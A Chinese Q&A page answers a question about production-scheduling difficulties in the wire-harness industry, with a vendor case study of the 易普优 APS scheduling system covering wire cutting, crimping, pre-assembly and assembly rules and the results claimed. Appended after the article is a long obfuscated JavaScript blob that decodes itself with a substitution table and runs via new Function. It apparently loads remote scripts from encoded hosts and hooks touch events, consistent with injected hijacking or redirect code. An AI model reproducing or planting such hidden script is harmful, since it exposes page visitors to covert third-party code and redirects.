线束行业的生产计划排产有哪些难点,APS高级计划排程系统应用情况如何,有没有成功案例?

2025-03-12 20:00:06
推荐回答(1个)
回答1:

一、线束行业生产计划排产难点

(1)产品种类以及标准繁多,生产计划难协调

线束行业的生产,虽然原材料不多,但线束产品却多达几万种。一般线束企业,虽然不是每个月都生产数万种产品,但每月生产的产品品种在300种以上,且每月在不停地变化。同时,由于企业要适应市场的变化,就需要根据市场的要求,来调整生产标准,从而导致同一种规格的产品,经常存在好几种标准。以上特点,给线束行业的生产计划管理带来了麻烦,客观上加重了企业计划管理的复杂性,也给企业的成本管理造成了相当大的困难。

(2)客户需求多样化,生产订单变更频繁

客户的要求是多种多样的,且存在很大的变化性,例如交期、工艺生产要求,导致的结果就是生产订单工艺版本及交期必须随之而进行相应的变更,给生产管理造成了相当大的难度。该问题的存在,导致信息系统,必然要适应生产订单的变更,并提供销售订单的变更信息向生产部门的传递方式。

(3)生产方式日趋复杂,协作性仍然不强

线束行业的生产,为典型的按单生产,但同种型号,不同的生产订单,却要经过不同的生产车间,相互之间需要分工协作。产品不定型和结构频繁变化,必然给生产造成难度。同时,结合线束生产的特殊性,加上协作性不强,导致相互之间无法有效衔接,从而给生产管理造成相当大的难度。

(4)生产周期要求更短

时间即金钱,市场竞争日益激烈,迫于其行业市场的压力,客户对线束产品的质量和交货期提出越来越高的要求。同时,由于线束的生产流程所决定,很多线束厂家的生产周期相对较长。如何缩短交期,成为中国线束行业不得不思考的问题。

二、某企业生产计划排程APS案例

某线束企业,有30000多种物料,每个物料的下线工艺都不同;每条线束成品需要对应的物料种类繁多且不一样。而且产品会不断升级和客户需求的变更,物料的下线工艺随之变化,导致工艺路径、BOM结构等发生变化,给车间生产带来难度,生产排程工作异常困难。

该企业在上易普优APS系统之前,通过人工结合一个简易的APS软件的方式实现订单的排程,按照订单数量进行设备均衡;无法精确到订单所涉及到的多种物料级别,即无法考虑不同线卡的工艺规格差异。导致做计划时,经常出现下线先短后长造成原材料浪费、不同线卡规格差异频繁切换模具、工序之间的工时无法准确计算导致计划不准确等等问题,严重浪费产能和生产效率。

针对计划现状,该企业决定引进APS高级排程系统实现精益生产。线束的线束工艺路线基本固定,确定排程的关键工序:“下线-压接-打卡-预装-装配”。每个工序的排产规则不一样,且每个工序的每个生产设备能生产的物料种类、生产能力都不一样。具体需求如下:


(1)下线工序:

下线工序是线束的第一道工序,该工序将订单的成品所需的原材料输入进来,根据物料的工艺分解出来最终组成成品的各种小线(即后续工序的原材料)。每台下线机所能够生产的小线类型,取决于原材料的规格。

下线工序排产需要考虑的因素:

  • 减少模具切换时间:特殊类型的线如屏蔽线或者护套需要模具不一样,相同的屏蔽线排在一起;相同的订单下的相同电线排在一个设备上进行生产,减少换模时间

  • 相同规格连续生产:如相同屏蔽线顺序号的电线可以排在一起生产,减少后期寻找所需屏蔽线的时间

  • 考虑电线长度:先下长线后下短线,减少物料损耗

  • 动态工时:根据电线长度,订单的数量,以及是否中开口等属性进行分类,每种分类对应不同的工时计算方式

  • 设备加工均衡:要考虑各个设备加工均衡,保证相同订单下的所有工作在不同设备上生产能同时结束,快速切换到下一道工序,转运时间最短

  • 资源优先度:优先排在自动下线机上生产

  • 以组成订单的原材料为派工单:下线是根据订单的工艺分解所需的各种小线,以小线进行排产,便于原材料的管控。

(2)压接-打卡工序:

压接即压接端子等插件,压接设备均有固定的规格,压接不同的线种(根据端子种类分类)。打卡工序即把不同的线接在一起,相同端子型号放在一起进行打卡。               

  • 以订单为派工单:压接和打卡工序的制造周期非常短(1S到2S),因此直接以订单为派工单排产,不直接排每根线的压接打卡时间,否则计划无法执行。

  • 动态工时:根据订单数量以及该订单所需的各种小线的种类计算通过时间

  • 转序方式:部分线种(如屏蔽线)压接和打卡的周期较长,因此在下线工序完成1/3数量之后开始转序做压接;压接完成1/3后开始转序进行打卡。



(3)预装工序:

预装表示在一个订单的线种打卡完成后,将该订单所有的线根据工艺集线进行预装配,预装和装配之前有一个缓冲池,预装和装配通过缓冲池进行物料的交接。

  • 负载均衡:预装班组有多个,排程尽量保证班组之间的负载均衡。

  • 转序方式:一个订单所有线种打卡完成后,才开始预装工序

(4)装配工序:

装配表示半成品物料完成之后,将半成品按照图纸进行装配,输出成品物料。分产品种类到不同的班组装配(成品),由于人员技能和人数的限制,装配是瓶颈工序。排产需考虑因素如下:

  • 减少切换时间:在满足交期的情况下,单个装配小组(工位)尽可能分配相同物料类型的订单任务,以此减少切换时间。

  • 资源选择:订单生产数量和线卡张数在一定范围内,且有分装图的物料,在流水生产小组生产,其他订单分派装配小组时考虑任务均衡。

三、APS解决方案

1.整体排程流程与设计

2.系统建模和排程结果

线束整体的工艺路线虽然固定,但是物料较多,且物料结构复杂,各个工序的约束以及规则复杂且不一样,为减少数据维护的工作量,易普优APS采用加工工艺以及工艺能力建模。

(1)下线工序:下线工序获取MES根据订单组成物料分解出的线束派工单为工作进行排产。将排产需要考虑的匹配因素,如:电线的物料号、端子物料号、屏蔽线顺序号/序号、电线长度等等属性存储在易普优APS系统的规格及预留字段中。

规格匹配:根据线径的不同,以及特殊类型的线,比如屏蔽线或者护套,所需要的磨具不同,因此,将下线机进行电线的进行资源规格匹配设置,以此减少换模的时间,增加生产效率。如下图中可以看出,下线机1可以下4种电线。

上图中可以看出,下线机1可以下4种电线

动态工时:根据电线长度,订单的数量,以及是否中开口等进行分类,在易普优APS工艺能力设置动态计算工时。

根据规则转化为系统的制造工时:

排程策略:针对下线工序单独设置分派规则,在易普优APS系统,设置下线的分派规则和资源评估表达式,保证:同一订单的排在一起生产,有相同屏蔽线的一起,有相同电线物料的一起生产,先下长线后下短线,优先使用自动机的情况下,其他设备加工均衡。

(2)压接-打卡-预装工序:压接打卡工序将MES中的派工单全部合并为一个工作,以此来模拟实现该订单在压接工序下的排产。

  • 工艺能力:根据订单套数以及线卡数量分类,动态计算出订单在该工序的加工工时。

  • 向导式半自动排程:由于同一加工工艺,不同种类产品在工序转序的规则不一样且有不确定性,无法针对加工工艺统一设置转序规则。因此,使用易普优APS的向导式排程功能,针对压接、打卡、预装工序进行排程,使用系统自带的SQL工具灵活定义前后工序的转序关系,基于前工序设置压接、打卡、预装工序的工作排产的开始时间,进行半自动化排程,满足业务需求。

(3)装配工序:装配分为流水线和非流水线,采取单件流的生产方式。装配的工时根据订单的数量和线种的差别不一样维护加工工艺。

  • 自动化排程:在易普优APS系统,针对装配工序的工作,设置分派规则和资源选择策略,进行排程确保满足交期的情况下,相同物料的订单尽量排在一起,然后进行班组的任务均衡。

  • 向导式半自动排程:在自动化排程的基础上,使用向导式半自动排程根据系统计算出当天的产能及班组负荷情况,辅助人工决策对排程结果进行调整。

3.车间级实施推广与扩展

由易普优科技实施顾问和该企业内部人员组成APS项目组,在易普优实施顾问的主导下,按照易普优APS系统成熟的项目实施方法、项目管理经验,总体规划、分步实施、循序渐进,完成第一个车间的系统实施,加强企业方对APS技术的理解和支持。

通过第一阶段,在企业内部培养起一支能发现问题、解决问题的实施队伍,不断提高企业应用系统的能力。结合易普优APS系统的灵活性和可配置性特点,第一个车间系统建模的各类表达式和参数无需重新开发或者代码编写即可简单灵活配置,在第二阶段,由企业内部顾问和APS团队,快速复制第一个车间经验,主导后续十来个车间的项目实施。

四、应用效果

1. 通过易普优高级计划排程系统的实施,和ERP/MES系统集成,考虑各工序生产的物料、规格、工艺等等多种约束和规则,实现信息自动化的获取订单和派工单排程,大大降低了计划员的制定计划所需的时间和对计划人员技能经验的要求。

2. 考虑相同电线种类、物料等约束连续生产,设备产能均衡,减少切换时间,使生产计划更加合理,提高了设备利用率,降低产能损耗。

3.排程颗粒度精细到原材料和线卡,考虑电线的长短,使得原材料的管控更加透明化,降低了原材料的损耗。

4.通过自动化排程和半自动化排程相结合的方式,实现车间及工序之间的联动排产,考虑工序之间的灵活的转序偏移,降低了中间在制品库存和呆料,缩短了整体的制造周期。

5.针对订单及生产需求的变更和插单等异常,可快速进行计划的自动化调整,提升客户服务能力。

6. 易普优APS产品的成熟性和稳定性,保证了第一阶段易普优主导企业方辅助成功实施后,企业方自己实施推广后面几个车间,降低实施成本,增加效益。

7.易普优APS产品的灵活性和可配置性,保证了系统不断适应企业业务的发展和产品工艺升级,企业自身即可针对业务变更实现系统模型及应用的升级,降低了未来企业信息化的投入。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();